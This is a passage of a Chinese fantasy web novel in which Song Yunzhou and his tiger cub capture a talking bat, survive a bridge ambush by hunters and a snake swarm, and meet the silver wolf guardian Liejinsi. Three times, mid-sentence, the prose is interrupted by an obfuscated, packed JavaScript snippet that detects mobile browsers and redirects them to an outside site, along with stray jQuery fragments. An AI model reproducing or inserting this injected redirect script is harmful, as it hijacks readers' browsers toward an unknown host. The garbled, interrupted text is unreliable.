可惜它身后爪子的主人压根听不懂它在说什么。 布瑞德好奇地打量“大蝴蝶”,毛刺刺的胡须凑到它脑袋附近嗅了嗅,觉得味道似乎有些奇怪。 蝙蝠感觉到有热气喷在脖子后,转头向后看去,正好与布瑞德炯炯有神的琥珀眼对上。 蝙蝠近距离看清抓住它的居然是一只老虎,顿时倒抽一口凉气,就差没有尖叫起来。 布瑞德开心地唔噜了一声,落在蝙蝠耳中则变成了野兽发自喉间的闷吼和即将张嘴撕咬的前兆。 蝙蝠立刻用叫声召唤它的蝙蝠大军。 蝙蝠群令行禁止,弃开宋云州,向布瑞德集结冲锋。 宋云州在蝙蝠群中就听到那声音像是突然遇到了什么麻烦,隐约料到蝙蝠群可能会退开。 因而他在真正得以脱险时,一秒都没有停滞地冲向火堆,想再抓起一把燃烧的树枝就带上布瑞德逃跑,却意外发现蝙蝠群和他冲向的是同一个方向。 宋云州透过杂乱纷飞的蝙蝠间的空隙,一眼就看到了映着火光的黄黑色毛茸茸,还有被它按在地上的一只蝙蝠。 那只蝙蝠正奋力扇动翼膜,却只能扑腾起地上的泥土。 宋云州心念电转,虽然觉得难以置信,但还是挥剑闯入即将聚合的蝙蝠群,将剑尖抵在了布瑞德爪下蝙蝠的脖子上,对它厉声道:“马上让蝙蝠群退开,不然咱们一起死!” 剑尖上传来的凉意森然,蝙蝠不情不愿地张了张嘴,环绕在空地上的蝙蝠群旋即原地解散,遁入四方夜色。 骨铃声交替撞响,片刻后完全安静下来。 宋云州的目光紧紧锁定剑下的蝙蝠,等其余蝙蝠全部退去,他开口问道:“就是你一直在和我说话?” 蝙蝠原本胜券在握,没想到阴沟里翻了船,成为阶下囚,它有些没脸,把脸埋在地上闷闷道:“你先让这只臭老虎把我放开。” 它觉得内脏都要被背后的爪子给按出来了。 宋云州看向布瑞德,虎崽一直仰着头看他,眼睛亮亮的,见宋云州看过来,献宝似的把爪下的蝙蝠往他跟前又推了推。 蝙蝠被它按在地上摩擦,苦不堪言。 看着布瑞德的动作,宋云州一下子就明白它为什么要抓蝙蝠了—— 之前在神殿,布瑞德无意中用爪子拍住了一只蝴蝶,正好被宋云州看到接了过来。 他本是觉得盯着蝴蝶看来看去的布瑞德呆萌可爱,就伸手揉了揉它脑袋,不想布瑞德会错了意,以为可以用这个东西向他换摸摸,便开始大力抓蝴蝶,连去草丛方便的时候都要想办法薅一两只回来。 每次宋云州都是笑着抚摸布瑞德,另一只手绕到背后,不动声色地把胖蛾子或是带翅的甲虫弹回草丛。 现在看来,布瑞德应该是把蝙蝠也当成蝴蝶了,没想到竟误打误撞帮他解了围。 宋云州心中温软一片,保持剑尖不动,俯身在昂首挺胸等奖励的布瑞德额头上亲了一口,又摸了几把它的脑袋和脊背,柔声鼓励:“布瑞德真是太棒了,做得好!” 布瑞德激动仰头用鼻子去蹭宋云州,爪下一时没了轻重。 蝙蝠欲哭无泪:“快救救我吧……” 宋云州探手从背包中拿出绳索,在剑上一碰,截了一段,把蝙蝠的翅膀和身体牢牢捆成个粽子,只露出它的脑袋。 宋云州让蝙蝠平躺在地上,横剑压住它,剑刃严密地贴着它的脖子。 这只蝙蝠并不大,比刚才攻击宋云州的蝙蝠要足足小了一圈,一对圆溜溜的黑豆眼狡黠地打量着宋云州和布瑞德,小脑袋里不知又在盘算什么鬼主意。 宋云州同样也在打量它,这只小蝙蝠从耳朵尖到脚趾,没有一处不透露着坏坏的气息,他还是第一次看到这么具象化的一肚子坏水。 整只蝙蝠都坏坏的,坏得冒泡的感觉又和它的形象莫名适配,看久了居然还有点儿顺眼。 宋云州用捡来的树枝轻轻戳了下小蝙蝠的肚皮,让它集中注意力,直接问他最关心的问题:“刚才听你说了‘烈金斯大人’,你肯定认识他,他现在在哪儿?” 小蝙蝠拽拽的,就算被剑抵着脖子也并不配合:“我劝你赶快放了我,没准我还能不计前嫌放你们活着离开,否则小心变成我小弟们的白骨巢穴。” 小蝙蝠斜眼看宋云州,挑衅地“哼哼”两声。 宋云州被它这坏模样气笑了,不再多说,他左右看了看,捡来一根长树枝,贴在小蝙蝠身上比了比长短,随后开始用小刀把树枝修直、削尖。 布瑞德安静地卧在宋云州腿边,帮他看着小蝙蝠。 小蝙蝠见宋云州半天没理它,有些待不住,主动问道:“你在干什么?” “削个木签子,”宋云州头也不抬地淡淡道,“烤蝙蝠。” 小蝙蝠耳朵抖了一下,怀疑自己听错了,尖声问:“什、什么?” 宋云州拍掉粘在手上的木屑,往火堆里添枯枝加大火势,拿着削好的木签子在小蝙蝠眼前晃了晃。 “我要做蝙蝠烤串,味道挺好的,就是可惜你尝不到了哦。”宋云州颇为遗憾地看了小蝙蝠一眼,遂拿着木签子在它身体周围比划,“你说我是横着穿,还是竖着穿呢?” 小蝙蝠紧盯着尖尖的签子头,紧张得有些发抖,但还是故作镇定:“我又没什么肉,不好吃的。” 宋云州盯着它看了看,赞同道:“我其实也是这么觉得。” 小蝙蝠刚松了口气,就听宋云州话锋一转:“但谁让布瑞德喜欢吃呢?只好委屈你喽。” 小蝙蝠急道:“荒、荒谬!从没听说过老虎喜欢吃蝙蝠!” 宋云州奇怪地看着它:“它当然喜欢吃,不然它怎么会扑你扑得那么准呢?当然是把你当口粮了。” 宋云州看向布瑞德:“布瑞德,你说是不是?” 他在小蝙蝠看不见的地方悄悄向布瑞德招了招手。 于是小蝙蝠就看到老虎竟真的朝它走了过来。 它挣扎着想要往后躲,奈何身体被捆得结实,一点儿都动不了。 眼看老虎越走越近,小蝙蝠终于撑不住服了软,哀嚎出声:“不要吃我!有话好说啊啊啊!” 宋云州冷声提条件:“带我去见烈金斯。” “好好好!没问题!”小蝙蝠忙不迭地一口应下,“你快把它拉走!” 宋云州放下木签子,伸手把布瑞德抱进怀里。 说什么烤蝙蝠只是宋云州在吓唬小蝙蝠,他才不会让布瑞德乱吃这种不干不净的东西。 小蝙蝠喘息几声,咬牙气愤道:“你这么欺负我,我要向烈金斯大人告状!” 但布瑞德一眼扫过去,小蝙蝠恶狠狠的目光就立刻蔫了下去,呜呜噜噜地不说话了。 此时夜色还深,宋云州不放心现在就让小蝙蝠带路,只能坐着等待天亮。 枯坐着容易犯困,宋云州试图和小蝙蝠聊天,随便问问题:“你有名字吗?” 提起这个,小蝙蝠十分得意:“叫我‘黑莓大人’。” 宋云州问:“黑煤?煤炭的‘煤’?” 小蝙蝠生气:“是‘黑色的莓子’!” 宋云州惊奇:“你居然识字?” 黑莓仰头骄傲地说:“这是烈金斯大人亲口说的。” 看着黑莓,宋云州忽而想到了小菠,他大概知道小蝙蝠为什么能说话了:“你是烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142445|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金斯的魔法创造的?” 黑莓冷哼一声,趁机道:“知道怕了吧?还不快把我放走,等烈金斯大人来收拾你们就晚了!” 宋云州自动忽略了黑莓的话,暗自想着,纳卡诺管小章鱼叫“菠萝”,烈金斯给小蝙蝠起名“黑莓”,怎么都喜欢用食物起名字,风格还挺一致。 他感叹着,眼角余光扫见布瑞德。 好吧,他自己也一样。 烈金斯会给黑莓起名字,证明这只坏坏蝙蝠在他心中有一定分量,宋云州不到万不得已就不能随便伤害它,否则一旦与烈金斯结仇,他就不会再帮忙救布瑞德了。 宋云州并不怎么相信黑莓真会乖乖带他去见烈金斯,没准儿还会有别的幺蛾子,但把它抓在身边,他至少有了一点儿能和烈金斯讨价还价的筹码。 每当坐在黑暗中认真等待黎明,天亮得总是会格外地慢。 天刚蒙蒙亮的时候,宋云州就背着布瑞德启程了,他把仍旧被绑着的黑莓抓在手里,另一只手握着出鞘的长剑。 黑莓不用宋云州再威胁什么,很像那么回事地主动带路,该拐弯的地方就开口提醒宋云州拐弯,该直行就不说话。 宋云州走到将近中午才坐下休息,知道树上挂着骷髅,他就只坐在离树有段距离的空地上。 他拿出吃的,也给黑莓撕了一小块递到嘴边。 黑莓起先扭过头坚决不吃,后来光闻味道闻得肚子咕咕叫,只能忍辱负重地勉强咬了一小口,结果被面包的香甜征服了,它迅速吃完那一小块,腆着脸皮找宋云州又要了一块。 宋云州没看见的是,在他们休息的空地旁的树上倒挂着一只红眼蝙蝠,正张着嘴叫唤,用宋云州无法听见的声波传递情报。 黑莓动动耳朵完整接收,嘴角一咧,露出一颗尖牙。 宋云州两指弹了它一个脑瓜崩:“坏笑什么?接下来该怎么走?” 黑莓长出一口恶气,被逼无奈地动了动脑袋,用耳朵尖给宋云州指了个方向。 按照黑莓的指引,宋云州又走了一两个小时,之后,他站到了一处断崖前。 “这就是你带的路?嗯?”宋云州把黑莓举到崖边,让它自己看。 黑莓缩了一下,马上解释:“确实是这条路,我没骗你!但我们都是用飞的,忘了你不会飞……” 宋云州冷眼看它:“那我现在把你扔出去,你飞给我看看?” “有桥的!”黑莓赶紧往一侧偏头,“就在那边!” 顺着黑莓指的方向看去,只见两侧断崖之间确实连接着一道悬空藤索桥,可铺在上面的木板破破烂烂,用于连接的藤蔓也断得差不多了,只勉强保留着一座桥的模样。 宋云州强烈怀疑哪怕是只鸟站上去,这桥都会突然垮塌。 宋云州不想冒这个险,问黑莓:“还有其他路吗?” “有是有,就是……”黑莓说着,蓦地住了口,目光瞄向宋云州身后。 宋云州侧目留意身后,隐约听见有脚步声传来,旋即避入远处树后,稍稍侧头观察这边。 只见来人是十几个穿着猎装的精壮男人,背着弓箭,腰间挂着短刀。 他们也在向断崖走来,并没人注意到暗中窥探的宋云州。 可就在这时,黑莓突然毫无征兆地大叫一声,男人们的目光一时间尽数投向这边,立刻发现了宋云州的位置。 宋云州一惊,还没等他做出反应,一只蝙蝠猛然从树上俯冲而下,狠狠咬了他抓着黑莓的手一口。 宋云州吃痛,下意识松手,黑莓被甩了出去。 像是预谋好一般,另有一只蝙蝠瞬间从旁侧斜飞过来,用背部接住了黑莓,一闪就消失不见。 宋云州来不及去追回黑莓,他已经暴露在猎人们的视线下,一支锋利箭矢破风而来,“咚”地射入他藏身的树干。 18. 坠崖被俘 宋云州半个身子探在树外,利箭射入的地方离他的眼睛只隔了寸许。 有猎人粗声朝他喊道:“什么人躲在那里?!老实出来!” 宋云州盯着羽箭看了两眼,没做无谓的挣扎,平静地从树后走了出来,数支明晃晃的箭矢立刻一齐瞄向了他。 长剑再锋利,也比不过箭矢的速度,宋云州主动把手中剑抛到了脚边的草丛中。 他举起双手做投降状,以示无害,冷静地解释说:“我只是路过这里,听到你们的脚步声因为害怕才会躲起来,没有任何恶意,不会妨碍到你们。” 猎人们没有回应,只是怀疑地盯着宋云州看,宋云州也在默默打量他们。 这一行人为首的五十多岁,头发略显花白,其余都是二三十岁的青壮年。 他们看起来像是进山结伴打猎,但宋云州没看到他们身上带着任何猎物。 说起来这个位置已经算是深入森林腹地,他们仍然什么都没有猎到,是因为一直没和大型野生动物碰面吗? 宋云州的视线落在为首中年人身上,这个人最奇怪,穿着一身并不适合在林间行走的亚麻色长袍,身上也没有任何武器,却能感觉出他是这一伙人里地位最高的。 宋云州猜测,中年人难道是他们的向导? 中年人站在箭阵簇拥形成的安全区域里,看了宋云州半晌摇了摇头,立刻有三人走上前。 两人自左右两边架住宋云州,另一人捡起长剑,又取过宋云州腰间剑鞘,收剑别在了自己腰上。 宋云州被带到了中年人跟前。 中年人声音稳重,盘问宋云州:“你是什么人?为什么会到这森林里来?” 宋云州诚恳道:“我没想来这里,但迷了路,怎么都走不出去了。还好遇到了你们,可以告诉我该怎么离开吗?” 宋云州佯装自己是过路的旅人,如果这群人真是来打猎的,他又不会和他们抢猎物,应该不至于随便杀人吧。 中年人似乎并没在意宋云州说了什么,转而问了一个毫不相干的问题:“你在这里见过狼吗?” 宋云州一怔:“狼?” 这些人莫不是想要猎狼? 他仔细回忆了一下,打进悬铃森林以来,确实没看到过狼,甚至连半声狼嗥都没听见过。 宋云州如实说了。 这次中年人盯着他的脸看了看,像是在判断他是否在说谎。 片刻后,中年人挤出一丝微笑,对宋云州道:“你不是想出去吗?跟我来。” 宋云州将信将疑,但有两人架着他,他没有选择的余地,只能跟上去。 然后,他就被中年人带到了那座古老的破藤索桥前。 宋云州:“……” 若不是宋云州现在还受制于人,他定然转身就走,不会再和他们多废一句话。 中年人面色和善地忽悠道:“从桥上过去就是出路了。” 宋云州耐着性子陪他演戏:“可这桥看起来太危险了,我看你们也不是从这边过来的,我还是自己再去找找别……” 不等宋云州把话说完,中年人使了个眼色,架住他的两人就突然开始用力,硬要把他往桥上推。 宋云州立刻绷住力道,与那两人抗衡,对中年人怒道:“你们到底要干什么?如果想杀我何至于这么拐弯抹角?” 中年人收了假笑,面无表情地说:“你要么自己过桥,要么我们直接把你扔下去,你自己选吧。” 宋云州很是不解,这些混蛋为什么一定要让他走这座桥? 难道是看穿了他的谎话,故意用这种方式逼他讲真话? 可他来森林的目的和他们又有什么关系? 慌乱中,所有疑问在心里迅速过了一遭,宋云州此时几乎可以断定,这伙人不是来打猎的,绝对另有目的。 眼看对准他的弓弦已经拉满,宋云州当即做出决断:“我自己过桥!” 中年人挥挥手,宋云州身边两人松手退开。 这些人手里的弓箭可以轻易杀掉他,而且人多势众,硬碰硬的话宋云州没有任何胜算,与其留在这里跟他们死磕,不如去赌一赌前路的生机。 宋云州毫不拖延时间,说要过桥就立刻开始准备,他把背包换到胸前背着,用他自己的后背迎接不知何时会射来的暗箭。 他伸手紧紧抓住拦在藤索桥两侧充当护栏的藤蔓,深吸一口气,抬脚踏了上去。 已然发绿发黑的腐烂木板顿时发出一声不堪重负的“嘎吱”。 宋云州的心猛地悬起,慢慢将身体的重量试探性地全部过渡到木板上。 没想到看似脆弱破烂的木板仍旧坚固,竟好好地承住了他。 宋云州抬起踩在地上的另一只脚,迈上下一块木板,完全悬空的藤索桥立刻开始随着他的动作摇晃起来。 由于鼓鼓囊囊的背包遮挡了视线,宋云州只能偏头从一侧看着脚下,他双手攥紧藤蔓,提心吊胆地迈出一步又一步。 很快他的手心就被汗浸湿,有汗水自额头上滴落。 极其幸运的是,年久失修的藤索桥居然吱吱呀呀坚持到了现在,宋云州抬头望向前方,大概再有一半的路程就能到达对面。 他站在桥上稍停片刻,放松了一下因过度紧绷而微微发颤的双腿。 就在宋云州要继续走的时候,他突然感觉到藤索桥上传来一阵突如其来的晃动,可他还没有动作,崖间也没有起风。 宋云州心里一紧,登时转身看向来处,竟愕然发觉那帮该死的王八蛋竟然在用短刀割断拴在木桩上的藤蔓! 那两股粗藤是藤索桥连接一侧断崖的唯一着力点,一旦断裂,整座桥都会垮塌。 而现在,粗藤正在短刀刀刃的摩擦下迅速断裂变细。 宋云州没工夫骂他们,当即回身向桥对面大步猛冲过去,试图在桥塌之前闯过去。 但他刚迈出了两步,粗藤便彻底断开。 藤索桥的整体已然老化,因此它并未因惯性甩向对侧断崖,而是直接四分五裂,在空中爆开。 宋云州连自救的机会都没有,他脚下踏空,滞空一瞬,随即直直向崖下坠去! 断崖少说也有百米之高,这么摔下去他肯定必死无疑。 强烈的失重感瞬间袭来,宋云州心跳过速,胸口憋闷,只来得及用手紧紧护着背包,没让布瑞德被甩出去。 宋云州断续开口:“小菠,快带我们……” 他的话还没说完,失重感就突然消失了。 宋云州一下子着了地,不是砸上去的,而是如同走路时脚踩在地面上那样,轻轻贴了上去。 宋云州失神地仰头望着天空喘息片刻,才从坠空的刺激中回过神来,坐起来时却发现他并没有回到神殿。 他仍在森林中,而且这个位置…… 宋云州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑莓看了看宋云州此时的落魄模样,“嘿嘿”坏笑着:“你先前问我有没有别的路,我现在可以回答你,有,当然有。只是那些路都没有这条危险、能置你于死地。” 宋云州没什么情绪地陈述道:“你早就知道他们会出现在断崖边。” “正好把你们凑在一起,一次性全部解决。”黑莓眨眨眼,得意地宣告道,“你要完蛋喽!” 宋云州挑眉:“你又想干什么?” 黑莓顿时装出一副脆弱小心灵受到伤害的模样:“那你可冤枉我了,不是我想做什么,而是它们想做什么。” “它们?” 话音未落,就有一道尖利嘶喊刺入耳膜,随即有人惊恐大叫—— “蛇!” “有蛇!” 中年人那边的营地瞬间乱了起来。 宋云州迅速站起身,向那边望去。 他知道一两条蛇肯定不会引起如此大的骚动,但实际情况还是远远超乎了他的预料。 嘶嘶作响声中,难以计数的蛇从崖底两侧的灌木丛中爬出,盘踞了整片空地,将中年人一行团团包围。 蛇有大有小,花色各异,它们哈着气,纷纷朝闯入者亮出毒牙,交叠错落的鳞片在月光照耀下泛起成片的粼粼幽光。 他们陷入了蛇窟之中。 19. 星辉银狼 中年人那边的场景令人头皮发麻,宋云州所处的地方也并没有好到哪里去。 蛇潮仍在源源不断地往外涌,眨眼间就漫到了宋云州附近。 花色鲜艳的毒蛇“咝咝”吐着信子靠近,宋云州急忙将一直藏在衣袖中的小刀抖落手心。 他随时都有办法解开绑手的绳索,但为防激怒中年人,在真正找到脱身时机之前他不想轻举妄动。 现在这种情况则没什么好顾忌的了。 宋云州刚拔开刀鞘,就感觉手腕上突然一松,绑手的绳索断开落在了地上。 他疑惑地将双手绕到眼前,明明他还没开始割绳子。 这时黑莓从宋云州身后飞了出来,朝他亮了亮自己锐利的爪钩,仰着小脑袋傲娇地说:“看在你给我面包吃的份儿上,我给你解开了。” 宋云州一愣,完全没想到黑莓居然还会帮他,一下子适应不过来小蝙蝠一百八十度的转变。 但下一句话黑莓就无缝切换回了恶劣模样,露出嘴角尖牙,坏坏道:“我还挺喜欢看你逃亡的。你放心,等你死了,我一定会好好吃光你背包里的面包。” 说完它一闪就消失不见。 宋云州默默收起了刚冒出来的觉得黑莓还有点儿可爱的心思,目光落在蜿蜒爬行的毒蛇身上。 霍尔加的剑还在那些混蛋手里,宋云州仅有的小刀太短,用它与蛇对抗过于吃力危险。 宋云州一面注意蛇群动向一面缓步后退,拉扯割断他能够到的大段树枝和藤蔓,快速捆结实做成长柄扫帚模样,正好将一条进入他攻击范围的蛇一扫帚打飞。 中年人的魔法既然能在烈金斯的压制下使用,必然不会太弱,他护在一众同伴身前,凝起深蓝色坚盾护卫,同时操纵魔法击杀意图冲击坚盾的蛇群。 除了最开始那个遭蛇咬中毒的人无法可救,被蛇群吞噬,其他的人都好整以暇地躲在中年人身后,神色由一开始的惊慌失措变为淡定。 宋云州才不会傻到认为中年人也会保护他,因而他一开始选择退开的方向就是远离他们。 但他没退出多远就蓦地停住了脚步。 在他身后,同样响起了令人牙根发酸的咝咝声。 宋云州回头看去,另一片粼粼幽光出现在他眼前。 仿佛无穷无尽的蛇自灌木中爬出,有的在空地上停下,探头四顾;有的径直进入溪流中,顺水流而下;还有的立起上半身,阴森森的眼瞳锁定了宋云州。 宋云州身上的伤基本全是蝙蝠咬的抓的,创口小而细碎,此时已经结了痂,但他身上沾染的血气依然能被蛇闻到,吸引它们上前进攻。 宋云州将手中的树枝扫帚末端贴地,在他身周动作迅速地来回扫动,不给靠近他的蛇任何反应时间,就把它们全部胡乱扫开挑飞。 这招确实有用,却太消耗体力,宋云州自知坚持不了太长时间,扫蛇的间隙中掏出包里的火石,想把树枝点燃,用火焰吓退蛇群。 奈何崖底溪水丰沛,致使周围草木太过潮湿,树枝在扫动过程中也沾染上水汽,根本就点不着。 宋云州只能另寻出路。 他环视四周,惊喜发现距他不远的一侧崖壁上有一块凸起的石块,似乎刚够一人站立。 宋云州毫不迟疑,当即大力挥舞树枝,扫开拦路的蛇群,大迈两步助力,随即奋力跃起,踏上石块。 他站上去的瞬间即刻用手指使劲扣住崖壁上的岩石缝隙,避免被惯性顶下石块。 石块面积很小,堪堪只够他转个身,若是稍有更大的动作都可能会从上面跌下去。 宋云州慢慢把背包移到胸前,后背紧紧贴着崖壁,看着在他脚下盘绕了密密麻麻一片的毒蛇,连下脚的地方都没有。 崖壁较为光滑垂直,蛇爬不上来,宋云州暂且是安全的,可这样的状况又能坚持多久呢? 不止是宋云州,中年人也被蛇群纠缠得烦躁不堪。 蛇群像是完全杀不尽一般,蛇的尸体已经在他们脚边堆积了厚厚一层。 似是同类的尸体更加激发了蛇群的血性,更多的蛇张着尖利的獠牙扑来。 中年人意识到当前的办法无用,转而采用更强劲的手段—— 他口中默念咒语,一道深蓝色符文出现在他身前,被他一掌推出,符文向外飞出的同时延展增大数倍,几乎膨胀至半个崖壁之高。 以中年人为核心,深蓝色的力量潮如浪涛般朝四方席卷,随着巨大的轰击声在崖间震荡翻涌,将崖底的蛇群尽数震飞,狠狠摔到崖壁上。 强力爆开的魔法使整个地面都在震荡,宋云州张开双臂死死扣住岩缝稳住身形,他能感觉到有细碎的石块从崖壁上方滚下,砸落在他身侧。 中年人魔法的威势甚至波及到断崖外侧的森林,好几棵树被轰倒,挂在树梢的白骨风铃猛烈震荡,藤索断落后从高处坠下,脆化的枯骨当即崩裂成无数碎片。 大群鸟雀被惊扰飞起,其中数量最多的当属蝙蝠。 下一刻,黑莓满溢的怒气破开夜色传来:“本大人不发威,你当我真是水果吗?!” 崖底植被以低矮灌木为主,高耸的树木不多,可以清楚看到挂在中天的月亮。 而此时,漫天的蝙蝠顷刻间汇聚成形,构成遮天蔽月的黑红色洪流,在崖底投下一道深重的黑色阴霾,尖啸着从高处俯冲向中年人。 黑莓的声音隐在蝙蝠群中,分外冷酷:“擅闯悬铃森林者死!” 中年人一行狼狈抵挡,有人敏锐察觉道:“是蝙蝠在说话!” “快抓住它!” 中年人防御中抬起另一手,深蓝魔力径直击穿了蝙蝠群,准确无误地定位到了黑莓的位置。 黑莓虽然会说话,但并不像小菠那样会魔法。 魔法眨眼间构造出一个透明囚笼,将黑莓轻而易举困入其中。 中年人一收手,囚笼顿时带着黑莓来到他面前。 中年人细细打量了几眼冲他愤怒呲牙的小蝙蝠,眼中精光一闪:“竟是魔法造物?” 随即他厉声逼问:“那只狼在哪?” 黑莓半耷拉着眼皮睨向中年人,咬了咬牙:“可恶!” 它拒绝跟中年人沟通,开始在囚笼中疯狂地左冲右突。 中年人冷笑一声,握着虚拳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142447|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手微微收紧,囚笼竟开始压缩变小。 黑莓在迅速缩小的囚笼中痛苦挣扎,翅膀用力拍击囚笼也无济于事,却仍傲气地不理会中年人。 宋云州远远看到黑莓就要被中年人的魔法压扁,不由焦急起来。 要是眼看着黑莓被杀,宋云州就算能见到烈金斯也没办法和他交代,说不定也要被烈金斯当做是那王八蛋的同伙。 宋云州还困在石块上,被中年人震飞的蛇群又在卷土重来,他没办法冲过去救黑莓,只能先信口胡说,大喊道:“你放开它,我知道狼在哪儿!” 就在他出声的刹那间,一道闪耀夺目的银白光束自崖上的森林中射出,悍然划破夜空,径直击碎了困住黑莓的魔法囚笼。 中年人毫无防备,大惊之下退后几步,惊疑不定地望向银白色魔力的来处。 宋云州注意到在银白魔力出现的同时,崖底狂乱肆虐的蛇群与蝙蝠群竟都不约而同地停下,逃也似地散去来处,转瞬间消失得干干净净。 宋云州从石块上跳下,握紧了手中的小刀,也警惕戒备地盯着那处林间。 林间没再有动静,而是有一声狼嗥自渺远处兀然响起。 随即四方都有悠长且极具穿透力的狼嗥呼应,此起彼伏,声音响起的位置越发临近断崖。 忽而有一道巨大的魔法屏障在崖间铺开,犹如支离破碎的镜面,竖立在众人面前。 崖底所有人的目光全都聚于此处。 四方狼嗥不停,如擂鼓声声,也如战歌铿锵,令闻者生畏,尤其使作恶者心虚胆寒。 数息过后,镜面波动,一匹足有一人高的巨狼抬爪,自魔法屏障中迈了出来。 巨狼通体银白,皮毛似是缀满钻石般熠熠生辉,圣洁美丽得不可方物。 当它走出来的那一霎,月辉隐去,星光黯淡,仿佛这世间的一切光芒璀璨尽数凝聚于它一身。 宋云州心神俱震,一下子就想起了他在伦达奥城告示牌上看到的那则王室悬赏。 ——有狼皮可使星河倒悬。 一众普通大小的成年狼跟在银白巨狼身后,排列出“人”字攻击阵型,耸动吻部的肌肉,呲出利齿,威慑低吼,露出凶恶杀相。 银白巨狼面色沉静,漂亮的冰蓝色眼眸锁定人群中央的中年人。 它抬起右前爪轻轻踏地,顿时有一道银白的能量潮于虚空成形,如锋刃般迅疾横斩向中年人。 中年人似是早有准备,并无惧色,踏步向前,脚下立时显形出巨大魔法阵。 他抬起双手凝聚魔力,拉开幻化出的巨型弓弩,送出一支深蓝色的锋利箭矢,射向银白巨狼的额心。 银白与深蓝于空中相触,角力一瞬,银白便彻底压制住了深蓝,抵着它朝中年人猛力轰去。 震耳欲聋的爆裂声中,中年人被魔力击飞,重重摔在地上,止不住地呕出大片鲜血,在万般惊恐的神情下倒地毙命。 而这场魔力碰撞却连银白巨狼的一根毛毛都没有撼动。 挣脱魔法束缚的黑莓在这时赶了过来,绕着银白巨狼面前左飞飞右飞飞,满心喜悦地欢呼道:“烈金斯大人!” 20. 以命换命 黑莓的话不啻于平地惊雷,一下子将宋云州劈了个正着,他愕然望向沉浸于星辉中的银白巨狼。 和纳卡诺同为神殿守护者的烈金斯,居然是一匹狼? 纳卡诺和兰缇娅没有把这么重要的信息告诉他,莫非因为这也是这个世界的一个常识,只是他先入为主地认为烈金斯是人类? 宋云州很快推翻了这一想法,他明明记得兰缇娅说过“烈金斯这个人”这句话。 那现在这是什么情况? 宋云州惊诧间,黑莓已经熟练地扑到了银白巨狼头顶蓬松的毛毛里,挥挥翅膀,开心地蹭了蹭。 烈金斯眯了眯眼,抖抖耳朵,默许了黑莓的行为,视线落到余下站着的人身上。 宋云州本以为中年人的魔法可使地动山摇,足可以称得上强大,不料竟被烈金斯不痛不痒的一招秒杀。 其他根本不会魔法的青壮年们完全以中年人为倚仗,见他身死自然慌了神儿,各自握着手中的武器打着颤后退。 烈金斯也觉得这些货色根本配不上他出手,遂微微撇了一下头,示意追随在他身后的狼群。 狼群得到头狼允准,即刻全数出击,撒开四爪迅捷奔袭前冲。 宋云州见势不妙立刻后退,隐入一棵树后的阴影中,预备随时爬树。 所幸狼群并没有将宋云州划为进攻对象,而是张开血盆大口扑咬向一众青壮年。 崖底平坦开阔,鲜有遮蔽物,青壮年们自知无路可逃,纷纷在狼群迫近时弯弓搭箭,聚拢阵型,接连射出的箭矢如骤雨落下。 青壮年们的准头极佳,箭矢直奔狼的额头刺去,却不成想利箭在接近狼身的刹那,被某种无形力量阻拦反噬,于眨眼间粉碎成齑粉。 狼群势如破竹地冲散了青壮年的箭阵,扑咬而上,直接开始撕扯他们的血肉。 断崖之外的狼嗥声不知何时停息,一时间只听得见崖底传来男人们的惨烈尖叫与嘶吼。 宋云州背身躲入树后,不愿再看。 片刻后声音消散,腥风掠过,浓郁的血气令人作呕。 一片静寂中,宋云州抱着布瑞德走到了烈金斯面前。 餮足的狼群舔去嘴角残存的肉屑和血沫,虎视眈眈地注视着宋云州的一举一动。 烈金斯微微动了动前爪,攀援在崖壁上的藤蔓在魔法的操纵下飞来,将地上散乱的骸骨拼凑连接成一串又一串“风铃”。 烈金斯略微扬了扬尖吻,并没有张嘴,却有清朗的男声传来,他对趴在他头顶的黑莓说:“补偿你。” “好耶!”小蝙蝠在烈金斯头顶打了个滚,拍拍翼膜,笑得合不拢嘴,“烈金斯大人最厉害了!” 黑莓当即无声地张嘴叫唤,召来一大群小弟,让它们协力将还在淌着血的十几具殷红骨铃运往悬铃森林各处。 待蝙蝠群散去,烈金斯这才分出眼神扫了宋云州一眼,露出一个与他高贵清冷的外表毫不相符的冷哂:“纳卡诺让你来这里,是嫌你活得太久了吗?” 宋云州早就知道瞒不过烈金斯,当即向他表明真实来意,并将布瑞德颈部的红线给他看了一眼。 布瑞德舒服地窝在宋云州怀里,一转头就看到了一张巨大的狼脸,它好奇地眨了眨圆溜溜的琥珀眼,伸出一只前爪就想去抓烈金斯鼻子两侧的胡须。 宋云州急忙把布瑞德毛乎乎的前爪捉了回来,塞进臂弯压住,向烈金斯请求道:“烈金斯,求你用魔法再次压制它的伤口。” 烈金斯盯着布瑞德,冰蓝眼眸中有细微波光一闪而逝,他突然不怀好意地笑了笑:“七日血线?你现在再看看呢?” 宋云州目光一凛,升腾起不祥的预感,匆忙拨开布瑞德的毛毛,却见刚刚还很长的红线竟陡然缩短至半个指甲都不到的长度。 烈金斯的声音宛如诅咒回荡在宋云州耳边:“只剩下不到半个小时了,早点儿死,早点儿为我的狼群加餐。” 